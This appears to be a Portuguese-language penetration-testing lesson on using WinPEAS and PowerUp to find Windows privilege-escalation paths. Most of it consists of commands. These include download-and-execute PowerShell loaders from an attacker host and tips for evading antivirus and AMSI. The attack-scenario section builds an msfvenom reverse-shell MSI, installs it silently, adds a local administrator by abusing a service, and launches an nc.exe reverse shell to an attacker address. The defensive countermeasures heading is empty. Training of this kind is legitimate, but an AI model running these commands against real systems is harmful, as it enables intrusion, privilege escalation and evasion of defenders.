WinPEAS e PowerUp

Ferramentas de enumeração automatizada que encontram vetores de escalação de privilégios em segundos

O que você vai descobrir

🔧 Experimente agora

Baixe WinPEAS e examine suas opções de ajuda:

# Baixar WinPEAS (na sua máquina de ataque)
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/winPEASx64.exe

# Transferir para o alvo e executar
.\winPEASx64.exe -h
.\winPEASx64.exe quiet

Você verá: Saída abrangente cobrindo info do sistema, privilégios de usuário, serviços, tarefas agendadas, rede, e centenas de outras verificações - tudo codificado por cor conforme severidade.

Habilidades que você vai dominar

Entendendo a enumeração automatizada

WinPEAS e PowerUp são as ferramentas padrão da indústria para enumeração de escalação de privilégios Windows. Elas automatizam centenas de verificações que levariam horas para realizar manualmente. No entanto, também são bem conhecidas pelos defensores, então saber como usá-las efetivamente - e silenciosamente - é essencial.

Visão geral do WinPEAS

WinPEAS (Windows Privilege Escalation Awesome Scripts) faz parte da suíte PEASS-ng. Está disponível como executável ou script batch e escaneia más configurações em todo o sistema:

# Executar scan completo (padrão)
.\winPEASx64.exe

# Executar scan quiet (menos saída, mais rápido)
.\winPEASx64.exe quiet

# Executar apenas verificações específicas
.\winPEASx64.exe servicesinfo
.\winPEASx64.exe userinfo
.\winPEASx64.exe systeminfo

# Redirecionar saída para arquivo (para revisão)
.\winPEASx64.exe > winpeas_output.txt

WinPEAS usa codificação por cores para indicar severidade:

Visão geral do PowerUp

PowerUp é um script PowerShell do framework PowerSploit. Diferente do scan abrangente do WinPEAS, PowerUp fornece funções individuais que você pode chamar conforme necessário:

# Carregar PowerUp
Import-Module .\PowerUp.ps1

# Executar todas as verificações
Invoke-AllChecks

# Ou executar da memória (AMSI pode bloquear)
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1')
Invoke-AllChecks

Funções chave do PowerUp

PowerUp fornece funções específicas para enumeração direcionada:

# Enumeração de serviços
Get-UnquotedService              # Encontrar caminhos de serviço sem aspas
Get-ModifiableServiceFile        # Serviços com binários com permissão de escrita
Get-ModifiableService            # Serviços que podemos reconfigurar

# Verificações de registro
Get-RegistryAlwaysInstallElevated  # Verificar AlwaysInstallElevated
Get-RegistryAutoLogon              # Encontrar credenciais autologon

# Tarefas agendadas e inicialização
Get-ModifiableScheduledTaskFile   # Binários de tarefas agendadas com permissão de escrita

# Funções de exploração
Write-ServiceBinary              # Substituir um binário de serviço
Install-ServiceBinary            # Instalar um novo serviço
Invoke-ServiceAbuse              # Abusar de um serviço modificável

Ferramentas e técnicas

Uso detalhado do WinPEAS

WinPEAS aceita parâmetros para focar em áreas específicas:

# Módulos de scan disponíveis
.\winPEASx64.exe systeminfo       # Informações básicas do sistema
.\winPEASx64.exe userinfo         # Informações de usuário e grupo
.\winPEASx64.exe processinfo      # Processos em execução
.\winPEASx64.exe servicesinfo     # Serviços Windows
.\winPEASx64.exe applicationsinfo # Aplicações instaladas
.\winPEASx64.exe networkinfo      # Configuração de rede
.\winPEASx64.exe windowscreds     # Caça a credenciais
.\winPEASx64.exe browserinfo      # Credenciais salvas do navegador
.\winPEASx64.exe filesinfo        # Arquivos interessantes
.\winPEASx64.exe eventsinfo       # Eventos de segurança

# Combinar módulos
.\winPEASx64.exe servicesinfo windowscreds

Técnicas de evasão

Ambas as ferramentas são fortemente assinadas. Veja como reduzir a detecção:

# Usar a versão .bat do WinPEAS (menos detectada)
.\winPEAS.bat

# Execução ofuscada do PowerUp
$text = (New-Object Net.WebClient).DownloadString('https://<attacker>/PowerUp.ps1')
IEX $text

# Bypass AMSI para PowerShell (várias técnicas)
# Nota: Bypasses AMSI mudam frequentemente conforme Microsoft corrige

# Usar Invoke-Obfuscation no PowerUp antes do deploy
# https://github.com/danielbohannon/Invoke-Obfuscation

# Executar WinPEAS da memória usando um loader
# Embutir em um loader C# ou usar reflection

Ferramentas alternativas

Quando WinPEAS e PowerUp são bloqueados, alternativas existem:

• Seatbelt - Ferramenta C# para survey de host, menos detectada que WinPEAS
• PrivescCheck - Script privesc PowerShell, alternativa ao PowerUp
• JAWS - Just Another Windows (Enum) Script, baseado em PowerShell
• winPEASps1 - Versão PowerShell do WinPEAS

Cenários de ataque reais

# Na máquina atacante
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<attacker> LPORT=443 -f msi -o shell.msi

# No alvo
msiexec /quiet /qn /i \\<attacker>\share\shell.msi

# Abusar do serviço para adicionar usuário aos admins locais
Invoke-ServiceAbuse -Name 'VulnerableService' -UserName 'hdna' -Password 'Password123!'

# Ou executar um reverse shell
Invoke-ServiceAbuse -Name 'VulnerableService' -Command "C:\temp\nc.exe -e cmd.exe <attacker> 443"

Contramedidas defensivas

Perguntas frequentes

🎯 Enumeração automatizada - Equipado!

Você agora sabe como usar WinPEAS e PowerUp para identificar rapidamente vetores de escalação de privilégios. Combinado com enumeração manual, você tem cobertura abrangente de qualquer sistema Windows.

Pronto para explorar más configurações de serviços →